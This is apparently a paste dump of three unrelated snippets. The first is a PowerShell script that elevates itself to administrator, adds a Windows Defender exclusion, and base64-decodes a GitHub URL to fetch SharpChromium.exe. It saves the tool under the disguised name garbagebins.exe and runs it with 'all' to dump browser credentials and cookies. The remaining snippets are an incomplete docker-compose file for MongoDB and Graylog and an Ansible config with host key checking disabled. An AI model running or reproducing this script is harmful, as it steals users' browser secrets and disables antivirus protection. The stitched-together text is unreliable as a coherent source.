coder4temp

if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs; exit }
Start-Process $PSHOME\powershell.exe -ArgumentList {powershell Add-MpPreference -ExclusionPath C:\Windows\Temp

$u = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0ZsYW5ndmlrL1NoYXJwQ29sbGVjdGlvbi9yYXcvbWFzdGVyL05ldEZyYW1ld29ya180LjdfQW55L1NoYXJwQ2hyb21pdW0uZXhl"))
$o = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Qzpcd2luZG93c1xUZW1wXGdhcmJhZ2ViaW5zLmV4ZQ=="))
iwr $u -usebasicparsing -outfile $o

$l = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YWxs"))
[array] $frz = C:\windows\Temp\garbagebins.exe $l 

coder4temp

version: '3'

services:

  # MongoDB: https://hub.docker.com/_/mongo/
  mongo:
    image: mongo:5.0.13
    networks:
      - graylog
    volumes:

coder4temp

[defaults]
inventory = inventory
host_key_checking = False